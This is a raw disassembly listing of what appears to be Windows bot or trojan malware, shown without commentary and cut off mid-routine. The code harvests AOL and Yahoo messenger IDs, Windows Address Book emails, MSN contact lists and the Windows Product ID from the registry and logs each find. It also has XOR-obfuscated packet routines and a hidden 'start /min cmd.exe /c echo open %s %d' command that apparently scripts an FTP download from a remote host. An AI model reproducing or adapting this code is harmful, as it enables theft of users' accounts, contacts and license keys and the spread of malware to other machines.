dd 1C244C8Bh, 1824548Dh, 0E424848Dh, 52000002h, 6A006A50h
dd 8A2C6800h, 0FF510044h, 0FC085D3h, 0B785h, 1046800h
dd 0E8900000h, 777F638Fh, 0E824948Dh, 68000002h, 4489B8h
dd 6852F08Bh, 4489A8h, 3EE89056h, 68001C14h, 444E6Ch, 71E89056h
dd 8B77808Fh, 1CC483F8h, 6E74FF85h, 24848D57h, 80h, 9050646Ah
dd 80AAF8E8h, 0CC48377h, 4C74C085h, 7C244C8Dh, 44898C68h
dd 0E8905100h, 77811B90h, 8508C483h, 8B3575C0h, 16F4249Ch
dd 548D0000h, 68527C24h, 448970h, 0E8694B8Dh, 0FFFCB3EDh
dd 938B8Ah, 8A500000h, 9483h, 68515000h, 4D8085h, 0FCB74EE8h
dd 18C483FFh, 9EE89057h, 837780A9h, 0F68504C4h, 90560A74h
dd 7F60FAE8h, 4C48377h, 1C24548Bh, 0D1E89052h, 8D024B9Eh
dd 0C764244Ch, 16EC2484h, 0FFFF0000h, 0E3E8FFFFh, 0E9FFFCB0h
dd 184h
; ---------------------------------------------------------------------------
loc_436148: ; CODE XREF: ___:00435BD1j
lea ecx, [edi+32h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_4362CC
lea eax, [esp+10h]
push eax
push 0F003Fh
push 0
push offset aSoftwareAmeric ; "Software\\America Online\\AOL Instant Mes"...
push 80000001h
call near ptr 2920000h
nop
test eax, eax
jnz loc_4362CC
mov ecx, 40h
lea edi, [esp+1E4h]
rep stosd
lea ecx, [esp+14h]
lea edx, [esp+1E4h]
push ecx
mov ecx, [esp+14h]
lea eax, [esp+24h]
push edx
push eax
push 0
push offset dword_448908
push ecx
mov dword ptr [esp+2Ch], 100h
nop
call near ptr 28D0000h
test eax, eax
jz short loc_4361D2
mov edx, [esp+10h]
push edx
nop
call near ptr 28F0000h
jmp loc_4362CC
; ---------------------------------------------------------------------------
loc_4361D2: ; CODE XREF: ___:004361C0j
mov eax, [esp+14h]
mov ecx, [esp+10h]
mov ebp, dword_511740
push ecx
mov byte ptr [esp+eax+1E8h], 0
call ebp
lea edx, [esp+1E4h]
lea ebx, [esi+69h]
push edx
push offset dword_4488FC
mov ecx, ebx
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D8085
call sub_401857
add esp, 18h
lea edx, [esp+10h]
push edx
push 0F003Fh
push 0
push offset aSoftwareYahooP ; "Software\\Yahoo\\Pager"
push 80000001h
nop
call near ptr 2920000h
test eax, eax
jnz loc_4362CC
mov ecx, 40h
lea edi, [esp+0E0h]
rep stosd
lea eax, [esp+14h]
lea ecx, [esp+0E0h]
push eax
mov eax, [esp+14h]
lea edx, [esp+24h]
push ecx
push edx
push 0
push offset aYahooUserId ; "Yahoo! User ID"
push eax
mov dword ptr [esp+2Ch], 100h
nop
call near ptr 28D0000h
test eax, eax
jz short loc_436289
mov ecx, [esp+10h]
push ecx
call ebp
jmp short loc_4362CC
; ---------------------------------------------------------------------------
loc_436289: ; CODE XREF: ___:0043627Ej
mov edx, [esp+14h]
mov eax, [esp+10h]
push eax
mov byte ptr [esp+edx+1E8h], 0
call ebp
lea ecx, [esp+0E0h]
push ecx
push offset aYahooS ; "yahoo: %s"
mov ecx, ebx
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 18h
loc_4362CC: ; CODE XREF: ___:0043615Aj
; ___:0043617Ej ...
mov ecx, [esp+16E4h]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 16E0h
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 1E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4364D0 proc near ; CODE XREF: sub_4016FEj
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4364D0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 5
push 4Fh
push 14h
push 5
lea eax, [esp+3Ch+var_24]
push 7
mov esi, ecx
push eax
call sub_4019C4
add esp, 1Ch
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_4017EE
add esi, 4
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
sub_4364D0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_436570: ; CODE XREF: ___:loc_401FF5j
sub esp, 6CCh
add ecx, 4
push ebx
push ebp
push esi
push edi
call sub_4017EE
mov ebp, [esp+6E0h]
push eax
lea ecx, [ebp+7Eh]
call sub_4012EE
test eax, eax
jnz loc_43680E
lea eax, [esp+14h]
mov dword ptr [esp+20h], 320h
push eax
push 0F003Fh
push 0
push offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
push 80000001h
nop
call near ptr 2920000h
mov eax, [esp+14h]
test eax, eax
jz loc_43680E
lea ecx, [esp+20h]
lea edx, [esp+1D8h]
push ecx
push edx
push 0
push 0
push offset byte_448F40
push eax
nop
call near ptr 28D0000h
mov eax, [esp+14h]
push eax
nop
call near ptr 28F0000h
push 0
push 80h
push 4
push 0
push 1
lea ecx, [esp+1ECh]
push 80000000h
push ecx
nop
call near ptr 2850440h
push 0
push 0
push 0
mov edi, eax
push 2
push 0
push edi
mov [esp+34h], edi
nop
call near ptr 2720000h
mov ebx, eax
test ebx, ebx
mov [esp+24h], ebx
jnz short loc_436649
push edi
nop
call near ptr 2830910h
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 6CCh
retn 4
; ---------------------------------------------------------------------------
loc_436649: ; CODE XREF: ___:00436631j
push 0
push 0
push 0
push 4
push ebx
nop
call near ptr 2720750h
mov esi, eax
test esi, esi
jnz short loc_436679
mov esi, dword_5118E0
push ebx
call esi
push edi
call esi
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 6CCh
retn 4
; ---------------------------------------------------------------------------
loc_436679: ; CODE XREF: ___:0043665Cj
xor edx, edx
xor eax, eax
mov dh, [esi+63h]
mov ah, [esi+61h]
mov dl, [esi+62h]
and eax, 0FFFFh
movsx ecx, byte ptr [esi+64h]
shl edx, 10h
or edx, eax
xor eax, eax
mov al, [esi+60h]
or edx, eax
mov eax, ecx
shl eax, 4
add eax, ecx
shl eax, 2
test eax, eax
jle short loc_436718
lea ecx, [eax+43h]
mov eax, 0F0F0F0F1h
lea edi, [edx+esi]
mul ecx
mov ebx, edx
shr ebx, 6
loc_4366BB: ; CODE XREF: ___:0043670Ej
xor eax, eax
mov ecx, edi
loc_4366BF: ; CODE XREF: ___:004366CFj
mov dl, [ecx]
add ecx, 2
mov [esp+eax+0ACh], dl
inc eax
cmp eax, 44h
jle short loc_4366BF
lea eax, [esp+0ACh]
lea ecx, [ebp+69h]
push eax
push offset aFoundEmailS_ ; "Found EMail (%s)."
mov byte ptr [esp+0F8h], 0
call sub_4014DD
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 18h
add edi, 44h
dec ebx
jnz short loc_4366BB
mov ebx, [esp+24h]
mov edi, [esp+1Ch]
loc_436718: ; CODE XREF: ___:004366A7j
push edi
mov edi, dword_5118E0
call edi
push esi
call near ptr 27208F0h
nop
push ebx
call edi
lea eax, [esp+18h]
push eax
push 0F003Fh
push 0
push offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"...
push 80000001h
call near ptr 2920000h
nop
test eax, eax
jnz loc_43680E
mov ebx, off_511C00
mov dword ptr [esp+10h], 400h
mov dword ptr [esp+28h], 3
xor esi, esi
loc_436767: ; CODE XREF: ___:004367FEj
mov ecx, 20h
xor eax, eax
lea edi, [esp+2Ch]
push esi
rep stosd
lea ecx, [esp+30h]
push offset dword_448A48
push ecx
call ebx ; sub_5F74D1
mov ecx, 100h
xor eax, eax
lea edi, [esp+2E8h]
add esp, 0Ch
rep stosd
lea edx, [esp+10h]
lea eax, [esp+2DCh]
push edx
lea ecx, [esp+2Ch]
push eax
mov eax, [esp+20h]
push ecx
lea edx, [esp+38h]
push 0
push edx
push eax
inc esi
mov dword ptr [esp+28h], 400h
nop
call near ptr 28D0000h
test eax, eax
jnz short loc_436803
lea ecx, [esp+2DCh]
push ecx
push offset dword_448A3C
lea ecx, [ebp+69h]
call sub_4014DD
mov dl, [ebp+94h]
push eax
mov al, [ebp+93h]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 18h
push 64h
nop
call near ptr 2830000h
jmp loc_436767
; ---------------------------------------------------------------------------
loc_436803: ; CODE XREF: ___:004367C3j
mov ecx, [esp+18h]
push ecx
nop
call near ptr 28F0000h
loc_43680E: ; CODE XREF: ___:00436594j
; ___:004365C4j ...
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 6CCh
retn 4
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 0B0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4368D0 proc near ; CODE XREF: sub_401E65j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4368D0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 7
push 5
push 12h
push 4Fh
push 14h
push 5
lea eax, [esp+5Ch+var_3C]
push 7
mov esi, ecx
push eax
call sub_4019C4
add esp, 24h
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_40168B
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
sub_4368D0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 0Bh
push 17h
push 4Fh
push 14h
push 5
lea edx, [esp+34h]
push 7
push edx
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_40168B
add esi, 32h
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4369E0 proc near ; CODE XREF: sub_401E6Aj
var_135 = byte ptr -135h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = byte ptr -128h
var_124 = byte ptr -124h
var_110 = dword ptr -110h
var_10C = byte ptr -10Ch
var_108 = byte ptr -108h
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_4369E0
push eax
mov large fs:0, esp
sub esp, 12Ch
push ebx
push esi
mov esi, [esp+140h+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+4]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_436EB7
push ebp
xor ebp, ebp
push ebp
push offset asc_444600 ; " "
lea eax, [esp+150h+var_128]
push 1
push eax
mov ecx, esi
mov [esp+158h+var_134], ebp
mov [esp+158h+var_130], 80h
call sub_4011EA
lea ecx, [esp+148h+var_134]
mov [esp+148h+var_4], ebp
push ecx
push 20019h
push ebp
mov ecx, eax
call sub_4017EE
mov edi, dword_511764
push eax
push 80000001h
call edi
or ebx, 0FFFFFFFFh
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push ebp
push offset asc_444600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push ebp
push ebp
mov ecx, eax
mov dword ptr [esp+154h], 1
call sub_4017EE
mov ebp, dword_51172C
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_436B0C
lea ecx, [esp+144h+var_108]
push ecx
push (offset loc_448B8B+1)
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 18h
loc_436B0C: ; CODE XREF: sub_4369E0+FCj
mov ecx, [esp+144h+var_130]
push ecx
nop
call near ptr 28F0000h
push 0
push offset asc_444600 ; " "
lea edx, [esp+14Ch+var_124]
push 1
push edx
mov ecx, esi
mov [esp+154h+var_12C], 80h
call sub_4011EA
lea ecx, [esp+144h+var_130]
mov dword ptr [esp+144h], 2
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017EE
push eax
push 80000002h
call edi
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push 0
push offset asc_444600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov dword ptr [esp+154h], 3
call sub_4017EE
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_436BF4
lea ecx, [esp+144h+var_108]
push ecx
push (offset loc_448B7F+1)
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 18h
loc_436BF4: ; CODE XREF: sub_4369E0+1E4j
mov ecx, [esp+144h+var_130]
push ecx
nop
call near ptr 28F0000h
push 0
push offset asc_444600 ; " "
lea edx, [esp+14Ch+var_124]
push 1
push edx
mov ecx, esi
mov [esp+154h+var_12C], 80h
call sub_4011EA
lea ecx, [esp+144h+var_130]
mov dword ptr [esp+144h], 4
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017EE
push eax
push 80000005h
call edi
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push 0
push offset asc_444600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov dword ptr [esp+154h], 5
call sub_4017EE
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_436CDC
lea ecx, [esp+144h+var_108]
push ecx
push offset loc_448B74
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 18h
loc_436CDC: ; CODE XREF: sub_4369E0+2CCj
mov ecx, [esp+144h+var_130]
push ecx
call near ptr 28F0000h
nop
push 0
push offset asc_444600 ; " "
lea edx, [esp+14Ch+var_124]
push 1
push edx
mov ecx, esi
mov [esp+154h+var_12C], 80h
call sub_4011EA
lea ecx, [esp+144h+var_130]
mov dword ptr [esp+144h], 6
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017EE
push eax
push 80000000h
call edi
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push 0
push offset asc_444600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov dword ptr [esp+154h], 7
call sub_4017EE
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_436DC4
lea ecx, [esp+144h+var_108]
push ecx
push offset aHkcrS ; "HKCR: %s"
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 18h
loc_436DC4: ; CODE XREF: sub_4369E0+3B4j
mov ecx, [esp+144h+var_130]
push ecx
nop
call near ptr 28F0000h
push 0
push offset asc_444600 ; " "
lea edx, [esp+150h+var_128]
push 1
push edx
mov ecx, esi
mov [esp+158h+var_130], 80h
call sub_4011EA
lea ecx, [esp+148h+var_134]
mov [esp+148h+var_4], 8
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017EE
push eax
push 80000003h
call edi
lea ecx, [esp+148h+var_128]
mov [esp+148h+var_4], ebx
call sub_401226
push 0
push offset asc_444600 ; " "
lea edx, [esp+150h+var_128]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+148h+var_130]
lea edx, [esp+148h+var_10C]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov [esp+158h+var_4], 9
call sub_4017EE
push eax
mov eax, [esp+15Ch+var_134]
push eax
call ebp
test eax, eax
lea ecx, [esp+148h+var_128]
mov [esp+148h+var_4], ebx
setz [esp+148h+var_135]
call sub_401226
mov al, [esp+148h+var_135]
pop ebp
test al, al
jz short loc_436EAD
lea ecx, [esp+144h+var_10C]
push ecx
push offset aHkuS ; "HKU: %s"
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 18h
loc_436EAD: ; CODE XREF: sub_4369E0+49Dj
mov ecx, [esp+144h+var_134]
push ecx
jmp loc_436F51
; ---------------------------------------------------------------------------
loc_436EB7: ; CODE XREF: sub_4369E0+3Cj
lea ecx, [edi+32h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_436F57
lea edx, [esp+144h+var_12C]
mov [esp+144h+var_12C], eax
push edx
push 20019h
push eax
push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000002h
mov [esp+158h+var_110], 80h
nop
call near ptr 2920000h
mov edx, [esp+144h+var_12C]
lea eax, [esp+144h+var_110]
lea ecx, [esp+144h+var_8C]
push eax
push ecx
push 0
push 0
push offset aProductid ; "ProductId"
push edx
nop
call near ptr 28D0000h
test eax, eax
jnz short loc_436F4C
lea eax, [esp+144h+var_8C]
lea ecx, [esi+69h]
push eax
push offset aFoundWindowsPr ; "Found Windows Product ID (%s)."
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 18h
loc_436F4C: ; CODE XREF: sub_4369E0+539j
mov eax, [esp+144h+var_12C]
push eax
loc_436F51: ; CODE XREF: sub_4369E0+4D2j
call near ptr 28F0000h
nop
loc_436F57: ; CODE XREF: sub_4369E0+4E9j
mov ecx, [esp+144h+var_C]
pop edi
pop esi
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 138h
retn 4
sub_4369E0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 170h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4370F0 proc near ; CODE XREF: sub_401334j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
test esi, esi
jle short loc_43710D
mov cl, [esp+4+arg_8]
mov edx, [esp+4+arg_0]
loc_437103: ; CODE XREF: sub_4370F0+1Bj
cmp [eax+edx], cl
jz short loc_437111
inc eax
cmp eax, esi
jl short loc_437103
loc_43710D: ; CODE XREF: sub_4370F0+9j
pop esi
xor al, al
retn
; ---------------------------------------------------------------------------
loc_437111: ; CODE XREF: sub_4370F0+16j
pop esi
mov al, 1
retn
sub_4370F0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_437130: ; CODE XREF: ___:00401433j
push ecx
mov eax, [esp+18h]
push ebx
push ebp
push esi
push edi
push eax
mov dword ptr [esp+14h], 98h
nop
call near ptr 71AB2B66h
mov ebx, [esp+1Ch]
and eax, 0FFFFh
push ebx
mov [esp+2Ch], eax
nop
call near ptr 77C2C407h
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+1Ch]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
nop
call near ptr 77C2C407h
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov eax, [esp+38h]
mov ecx, 6
mov esi, (offset loc_448B97+1)
mov edi, edx
rep movsd
mov ecx, [esp+30h]
add esp, 8
mov [eax+ebp], cl
mov [eax+ebp+1], ch
mov eax, [esp+34h]
mov ecx, [esp+2Ch]
mov [esp+1Ch], edx
mov [eax+ebp], cl
mov [eax+ebp+1], ch
mov cx, [esp+2Eh]
mov [eax+ebp+2], cl
mov [eax+ebp+3], ch
mov eax, [esp+38h]
test eax, eax
jz short loc_4371EC
push ebx
push ebp
call eax
add esp, 8
loc_4371EC: ; CODE XREF: ___:004371E3j
push ebx
call near ptr 77C2C407h
nop
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+2Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+1Ch]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_43722E: ; CODE XREF: ___:004372A7j
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_43726E
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_43726E
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_43726E
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_4372A9
loc_43726E: ; CODE XREF: ___:0043723Cj
; ___:0043724Cj ...
mov esi, [esp+28h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h]
inc ecx
test ebx, ebx
mov [esp+10h], ecx
jle short loc_4372A0
loc_437293: ; CODE XREF: ___:0043729Ej
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_437293
loc_4372A0: ; CODE XREF: ___:00437291j
mov edx, [esp+1Ch]
mov [edx+13h], cl
jmp short loc_43722E
; ---------------------------------------------------------------------------
loc_4372A9: ; CODE XREF: ___:0043726Cj
mov eax, [esp+28h]
push eax
nop
call near ptr 77C2C21Bh
mov ecx, [esp+28h]
mov edx, [esp+24h]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+20h]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+20h]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_511AD0
call esi ; free
push ebp
call esi ; free
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_437390: ; CODE XREF: ___:00401D75j
push ecx
push ebx
push ebp
push esi
push edi
mov edi, [esp+28h]
or ecx, 0FFFFFFFFh
xor eax, eax
mov dword ptr [esp+10h], 98h
repne scasb
mov eax, [esp+1Ch]
not ecx
dec ecx
lea ebx, [ecx+eax+1]
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+1Ch]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
nop
call near ptr 77C2C407h
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov ecx, 6
mov esi, (offset loc_448B97+1)
mov edi, edx
add esp, 8
rep movsd
mov esi, [esp+28h]
or ecx, 0FFFFFFFFh
mov edi, esi
mov [esp+18h], edx
repne scasb
mov edx, [esp+1Ch]
not ecx
mov eax, ecx
lea edi, [edx+ebp-2]
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, [esp+2Ch]
and ecx, 3
test eax, eax
rep movsb
jz short loc_437442
push ebx
push ebp
call eax
add esp, 8
loc_437442: ; CODE XREF: ___:00437439j
push ebx
call near ptr 77C2C407h
nop
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+2Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+18h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_437484: ; CODE XREF: ___:004374FDj
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4374C4
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4374C4
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4374C4
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_4374FF
loc_4374C4: ; CODE XREF: ___:00437492j
; ___:004374A2j ...
mov esi, [esp+28h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h]
inc ecx
test ebx, ebx
mov [esp+10h], ecx
jle short loc_4374F6
loc_4374E9: ; CODE XREF: ___:004374F4j
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_4374E9
loc_4374F6: ; CODE XREF: ___:004374E7j
mov edx, [esp+18h]
mov [edx+13h], cl
jmp short loc_437484
; ---------------------------------------------------------------------------
loc_4374FF: ; CODE XREF: ___:004374C2j
mov eax, [esp+28h]
push eax
nop
call near ptr 77C2C21Bh
mov ecx, [esp+28h]
mov edx, [esp+24h]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+1Ch]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+1Ch]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_511AD0
call esi ; free
push ebp
call esi ; free
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4375F0: ; CODE XREF: ___:00401FFFj
mov eax, 200Ch
call sub_437B30
mov eax, [esp+2028h]
mov ecx, [esp+202Ch]
push ebx
mov edx, [esp+2028h]
push ebp
push esi
push edi
push eax
push eax
mov eax, [esp+2048h]
push eax
mov eax, [esp+203Ch]
push ecx
push edx
push eax
lea ecx, [esp+34h]
push offset aStartMinCmd_ex ; "start /min cmd.exe /c \"echo open %s %d "...
push ecx
mov dword ptr [esp+34h], 98h
nop
call sub_5F74D1
lea edi, [esp+3Ch]
or ecx, 0FFFFFFFFh
xor eax, eax
mov edx, [esp+2044h]
repne scasb
not ecx
dec ecx
lea ebx, [ecx+edx+1]
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+2044h]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
nop
call near ptr 77C2C407h
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov ecx, 6
mov esi, (offset loc_448B97+1)
mov edi, edx
add esp, 28h
rep movsd
lea edi, [esp+1Ch]
or ecx, 0FFFFFFFFh
repne scasb
mov [esp+10h], edx
mov edx, [esp+2024h]
not ecx
mov eax, ecx
lea esi, [esp+1Ch]
lea edi, [edx+ebp-2]
shr ecx, 2
rep movsd
